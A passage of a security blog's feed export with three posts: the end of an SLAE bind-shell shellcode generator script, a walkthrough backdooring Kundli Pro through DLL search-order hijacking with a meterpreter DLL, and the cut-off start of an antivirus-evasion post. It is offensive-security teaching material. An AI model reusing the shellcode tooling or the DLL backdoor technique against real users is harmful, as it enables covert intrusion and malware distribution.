class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;: fh &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;0&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt; fh&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC13&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;len&lt;/span&gt;(sh) &lt;span class=&quot;pl-k&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;: sh &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;0&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt; sh&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC14&quot;&gt;_p &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-cce&quot;&gt;\\&lt;/span&gt;x&lt;span class=&quot;pl-c1&quot;&gt;{0}&lt;/span&gt;&lt;span class=&quot;pl-cce&quot;&gt;\\&lt;/span&gt;x&lt;span class=&quot;pl-c1&quot;&gt;{1}&lt;/span&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;.format(fh,sh)&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC15&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;for&lt;/span&gt; j,i &lt;span class=&quot;pl-k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;enumerate&lt;/span&gt;(contents):&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC16&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-cce&quot;&gt;\\&lt;/span&gt;x22&lt;span class=&quot;pl-cce&quot;&gt;\\&lt;/span&gt;xb8&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;in&lt;/span&gt; i:&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC17&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Line Number :&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;str&lt;/span&gt;(j)&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC18&quot;&gt;contents[j] &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&quot;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt; _p &lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&quot;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC19&quot;&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC20&quot;&gt;nf &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;]&lt;span class=&quot;pl-k&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;_new.c&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC21&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;open&lt;/span&gt;(nf, &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;wb&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;) &lt;span class=&quot;pl-k&quot;&gt;as&lt;/span&gt; f:&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC22&quot;&gt;f.writelines(contents)&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC23&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;import&lt;/span&gt; os&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class=&quot;highlight tab-size js-file-line-container&quot; data-tab-size=&quot;8&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;blob-code blob-code-inner js-file-line&quot; id=&quot;LC24&quot;&gt;os.system(&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;gcc &lt;span class=&quot;pl-c1&quot;&gt;{0}&lt;/span&gt; -o &lt;span class=&quot;pl-c1&quot;&gt;{1}&lt;/span&gt; -fno-stack-protector -z execstack&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;.format(nf,sys.argv[&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;]))&lt;/td&gt;      &lt;/tr&gt;&lt;tr&gt;        &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;os.system(&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;rm &lt;span class=&quot;pl-c1&quot;&gt;{0}&lt;/span&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;.format(nf))&lt;/blockquote&gt;&amp;nbsp;We can run the generator as shown on the following screen:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-Gf8RsAcatKI/WkiwysgYjuI/AAAAAAAABxo/Njk5R9s2EB87aIvk61sO7ozQkkSwp9iPwCLcBGAs/s1600/Screenshot%2B2017-12-31%2B15.09.23.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;735&quot; data-original-width=&quot;882&quot; height=&quot;532&quot; src=&quot;https://3.bp.blogspot.com/-Gf8RsAcatKI/WkiwysgYjuI/AAAAAAAABxo/Njk5R9s2EB87aIvk61sO7ozQkkSwp9iPwCLcBGAs/s640/Screenshot%2B2017-12-31%2B15.09.23.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Following are the links to all the codes used in the exercise:&lt;br /&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-1/bind_shell_108.nasm&quot; target=&quot;_blank&quot;&gt;bind_shell_108.nasm : 108 bytes original null-free shellcode&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-1/bind_shell_80.nasm&quot; target=&quot;_blank&quot;&gt;bind_shell_80.nasm&amp;nbsp;&amp;nbsp; :&amp;nbsp; 80 bytes null-free shellcode&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-1/shellcode108.c&quot; target=&quot;_blank&quot;&gt;&amp;nbsp;shellcode108.c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; C file for 108 bytes bind TCP shellcode [Generator Format]&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-1/shellcode80.c&quot; target=&quot;_blank&quot;&gt;shellcode80.c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; C file for 80 bytes bind TCP shellcode [Generator Format]&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;css-truncate css-truncate-target&quot;&gt;&lt;a class=&quot;js-navigation-open&quot; href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-1/linux_bind_shell_generator.py&quot; id=&quot;4bedaf2c99eabb3f9c15192b7585c691-5ce587f35458f0aa3ab60975cde933c972a8aa71&quot; title=&quot;linux_bind_shell_generator.py&quot;&gt;linux_bind_shell_generator.py : Port Wrapper for Shellcode&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span style=&quot;color: red;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;css-truncate css-truncate-target&quot;&gt;&lt;/span&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/01/the-saga-of-bind-tcp.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/--ppcgo2sRzQ/WktOyRiogNI/AAAAAAAAByI/nymm-KkrB3cqRjOrMIppu5Wxh5r_J-dyQCLcBGAs/s72-c/shell.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5547127409708150461</guid><pubDate>Thu, 30 Nov 2017 18:16:00 +0000</pubDate><atom:updated>2017-11-30T23:46:59.732+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">antivirus evasion</category><category domain="http://www.blogger.com/atom/ns#">bypassing antivirus</category><category domain="http://www.blogger.com/atom/ns#">dll hijacking</category><category domain="http://www.blogger.com/atom/ns#">dll search order hijacking</category><category domain="http://www.blogger.com/atom/ns#">the backdoor factory</category><title>Postpone your Marriage plans and Deal with the Hack first</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-ToP0ZPySAd0/WiBGV6nLp1I/AAAAAAAABqU/WOnasQmPOPop8-Y4KtMKsq78ZLNP8tZgwCLcBGAs/s1600/FPA00450---Happy-Shaadi.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;486&quot; data-original-width=&quot;683&quot; height=&quot;227&quot; src=&quot;https://3.bp.blogspot.com/-ToP0ZPySAd0/WiBGV6nLp1I/AAAAAAAABqU/WOnasQmPOPop8-Y4KtMKsq78ZLNP8tZgwCLcBGAs/s320/FPA00450---Happy-Shaadi.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;If you think i am lazy with my posts, Hell Yeah! you are absolutely correct. Sometimes I feel 24-hours in a day are just not enough. I have ton of things to care about in life, things such as my family and my work, my friends who are like my family. I delivered my last session on 10th (if i remember correctly) in my very own Alma mater&amp;nbsp; i.e. Lovely professional university and it was a great experience as always. Due to the nature of audience(students), i tried keeping a little technical yet important topic which was &lt;i&gt;&lt;b&gt;&quot;DLL Search Order Hijacking&quot;&lt;/b&gt;&lt;/i&gt;. The reason i chose this topic over others is that this may sound interesting yet simple to the upcoming ninjas of my university.&lt;br /&gt;&lt;br /&gt;I have to admit, i keep searching about my books on the internet everyday, filtering them out through countries and time to check if they are being leaked anywhere on the internet and what i found one day was that being an author, i have been indexed by google with a knowledge graph. However, i felt disappointed seeing my age alongside my name :( First time in my life, i felt like if google is pretending to be my mother who keeps giving me a reality check on the age and marriage suggestions. Things became worse when some popular matrimonial website started following me on twitter. Well, finally i made up my mind and asked my mother to sign up for some popular matrimony sites. Suddenly, we started receiving ton of calls and what all people required was a &lt;b&gt;KUNDLI&lt;/b&gt; (&lt;i&gt;This is a popular Indian document which is more powerful than all your certifications / Degrees/ Diplomas/ Letter of Recommendations,&lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;b&gt; All TOGETHER&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;) i mean this document, as soon as it gets printed controls your fortune, destiny, karma, sins and what not. If you are confused and don&#39;t have an idea what the hell i am talking about, this document is related to astrology which is used for match making.&lt;br /&gt;&lt;br /&gt;So, we found someone locally who can get this document printed based on my DOB, place of birth, name etc. Accidentally, the guy who printed was running the software right in front of my evil eyes which kept staring at his cracked and no longer supported operating system which is none other than the legendary Windows XP. I kept looking and thinking about &lt;b&gt;ms08_067_netapi&lt;/b&gt; (which made me happy obviously). However, then popped a software which actually generated the book of my life(Kundli) and the software was Kundli Pro(Also known as Kundli for Windows). &lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-Lb5trmURNOQ/WiBBzNzp0kI/AAAAAAAABpE/qC-gm84m4ZsNiIRttO10d1qHbm_jX-jXwCLcBGAs/s1600/kundli.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;988&quot; data-original-width=&quot;1168&quot; height=&quot;539&quot; src=&quot;https://2.bp.blogspot.com/-Lb5trmURNOQ/WiBBzNzp0kI/AAAAAAAABpE/qC-gm84m4ZsNiIRttO10d1qHbm_jX-jXwCLcBGAs/s640/kundli.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;I came back home and downloaded this software from the internet and started looking for a potential vulnerability. I found some low hanging BOFs but i wanted to evade any possibilities of suspicion. I fired up my procmon (Process Monitor) and ran filters on the KUNDLI software as shown in the following screen:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-fKwPPVnAhDU/WiBBbNjdt7I/AAAAAAAABpA/07xBpz9Kh78fv584j5f8ED8A8dSyKtbTQCLcBGAs/s1600/procmon.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1031&quot; data-original-width=&quot;1600&quot; height=&quot;411&quot; src=&quot;https://1.bp.blogspot.com/-fKwPPVnAhDU/WiBBbNjdt7I/AAAAAAAABpA/07xBpz9Kh78fv584j5f8ED8A8dSyKtbTQCLcBGAs/s640/procmon.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Hmm... Interesting. If you have no idea what DLL Search order hijacking is, better get your googling skills into play. Anyways, the software tries to load the VB5.DLL while running. However, the vulnerability is that it starts from the current folder. This means it first looks in its own directory which is located in Program files and then when it doesn&#39;t find one, it goes to the system32 folder and loads it. This means that if anyhow the software is shipped with the VB5.dll as a package. it will never load the other one from system32. Next, what we can do is to simply create a meterpreter backdoor in a .&lt;b&gt;dll&lt;/b&gt; format, rename it as VB5.dll and place it in the software folder and re-run the software as shown in the following screen:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-guS-fmgfBU4/WiBDDCcr1fI/AAAAAAAABpQ/kQL_H_0B1aMty0d8Z5EiG7SBY9LxiwuLQCLcBGAs/s1600/dllplace.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;837&quot; data-original-width=&quot;1472&quot; height=&quot;361&quot; src=&quot;https://1.bp.blogspot.com/-guS-fmgfBU4/WiBDDCcr1fI/AAAAAAAABpQ/kQL_H_0B1aMty0d8Z5EiG7SBY9LxiwuLQCLcBGAs/s640/dllplace.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Re-running the software will provide us with a meterpreter shell. However, the software will crash which may cause suspicion as shown in the following screen:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-zvJ1oKs7KwM/WiBD_n3CkzI/AAAAAAAABp0/IbUdMvpFNd8WBm2XM2CAAMw9J7Nbbe5bACEwYBhgL/s1600/error.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;876&quot; data-original-width=&quot;1600&quot; height=&quot;350&quot; src=&quot;https://1.bp.blogspot.com/-zvJ1oKs7KwM/WiBD_n3CkzI/AAAAAAAABp0/IbUdMvpFNd8WBm2XM2CAAMw9J7Nbbe5bACEwYBhgL/s640/error.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;At this point what we can do is to simply download the DLL file from some popular DLL sharing site(Original) and backdoor the original file though a code cave as shown in the following screen:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-0n_KPFYXbaU/WiBEcjL18aI/AAAAAAAABp0/pGtSH_RZVlwcZiPSfnIbRXZuQas8TITsQCEwYBhgL/s1600/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;805&quot; data-original-width=&quot;1600&quot; height=&quot;322&quot; src=&quot;https://2.bp.blogspot.com/-0n_KPFYXbaU/WiBEcjL18aI/AAAAAAAABp0/pGtSH_RZVlwcZiPSfnIbRXZuQas8TITsQCEwYBhgL/s640/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;Let&#39;s re-run the software and check if something changed:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-UMSRf92IxIY/WiBEAfrwRxI/AAAAAAAABp0/70OhoqIQ8V0flKJV7Y24VlTZtQm4_gumACEwYBhgL/s1600/fund.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;555&quot; data-original-width=&quot;1600&quot; height=&quot;222&quot; src=&quot;https://2.bp.blogspot.com/-UMSRf92IxIY/WiBEAfrwRxI/AAAAAAAABp0/70OhoqIQ8V0flKJV7Y24VlTZtQm4_gumACEwYBhgL/s640/fund.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;We can see that the software loaded the DLL with ease from the current directory itself. Let&#39;s check our meterpreter handler:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-OrJx-QTOAWU/WiBFLzqw3eI/AAAAAAAABqI/PMkakLmPHZ0r1_en3QFcLcBgPoUV4XlkQCLcBGAs/s1600/fi.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;655&quot; data-original-width=&quot;1600&quot; height=&quot;262&quot; src=&quot;https://2.bp.blogspot.com/-OrJx-QTOAWU/WiBFLzqw3eI/AAAAAAAABqI/PMkakLmPHZ0r1_en3QFcLcBgPoUV4XlkQCLcBGAs/s640/fi.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Bang! we got the access to the target with no suspicion at all. Achieving this point, i could do ton of things such as:&lt;br /&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Re-Packing the software with the infected DLL file and distributing it over the internet&lt;/li&gt;&lt;li&gt;Packing the software with a crypto miner and make tons of cash&lt;/li&gt;&lt;li&gt;Cause harm to the infected people by breaching there privacy&lt;/li&gt;&lt;li&gt;Locking their systems with a ransomware&lt;/li&gt;&lt;li&gt;Ask my matches at JeevanSathi and Shaadi.com to install the software :P This could have been Fun!!! &lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;However, i choose to disclose this vulnerability right here at my blog and this is the exact reason why you shouldn&#39;t use cracked software. This tutorial was for educational purposes only. Please do not harm anyone.&lt;br /&gt;&lt;br /&gt;References and Tools used:&lt;br /&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/secretsquirrel/the-backdoor-factory&quot;&gt;https://github.com/secretsquirrel/the-backdoor-factory&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.metasploit.com/&quot;&gt;https://www.metasploit.com/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/wiki/Technique/T1038&quot;&gt;https://attack.mitre.org/wiki/Technique/T1038&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Original PPT: &lt;a href=&quot;https://www.slideshare.net/nipunjaswal/hijacking-softwares-for-fun-and-profit&quot;&gt;https://www.slideshare.net/nipunjaswal/hijacking-softwares-for-fun-and-profit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;For Metasploit Tutorials you can buy my books &lt;a href=&quot;https://www.amazon.com/Nipun-Jaswal/e/B00OXOCXOU&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt; ( This is self promotion :P, i think i can do that, its my blog right :P) &amp;nbsp; &lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2017/11/postpone-your-marriage-plans-and-deal-with-the-hack.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-ToP0ZPySAd0/WiBGV6nLp1I/AAAAAAAABqU/WOnasQmPOPop8-Y4KtMKsq78ZLNP8tZgwCLcBGAs/s72-c/FPA00450---Happy-Shaadi.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-2598228625087889604</guid><pubDate>Sun, 13 Aug 2017 18:38:00 +0000</pubDate><atom:updated>2017-12-08T12:05:24.260+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">antivirus evasion</category><category domain="http://www.blogger.com/atom/ns#">bypassing antivirus</category><category domain="http://www.blogger.com/atom/ns#">clamav</category><category domain="http://www.blogger.com/atom/ns#">dll hijacking</category><title>Antivirus Evasion for dummies</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Long time huh? I just updated my website and i am hoping that you will like the new look and feel. I have been working recently on tons of AV solutions, trying to get the insight of how can one evade detection without using any crypters or obfuscation. Ahh, i know the topic is a bit touchy or you may think why am i discussing AV bypasses at the first place. Frankly, while conducting a penetration test ( the formal name given to breaking into systems) we may come across plenty of protection mechanisms such as AVs / Firewalls and much more. Keeping in mind this equation i thought of sharing the most basic AV evasion techniques( Just to understand how AV thing work). For this specific topic, we will use ClamAV (Open Source and fun to play with).&lt;br /&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-nMuP6rm0Dag/WZCZGVKiOoI/AAAAAAAABjk/WQJN5qexcMgXkHfOKBkJPMbsEdNOXkDTQCLcBGAs/s1600/clamav.png&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;400&quot; height=&quot;320&quot; src=&quot;https://4.bp.blogspot.com/-nMuP6rm0Dag/WZCZGVKiOoI/AAAAAAAABjk/WQJN5qexcMgXkHfOKBkJPMbsEdNOXkDTQCLcBGAs/s320/clamav.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #0000ee;&quot;&gt;&lt;u&gt;ClamAV Logo&lt;/u&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;However, the methods apply to all AV solutions(All you need to decode are the 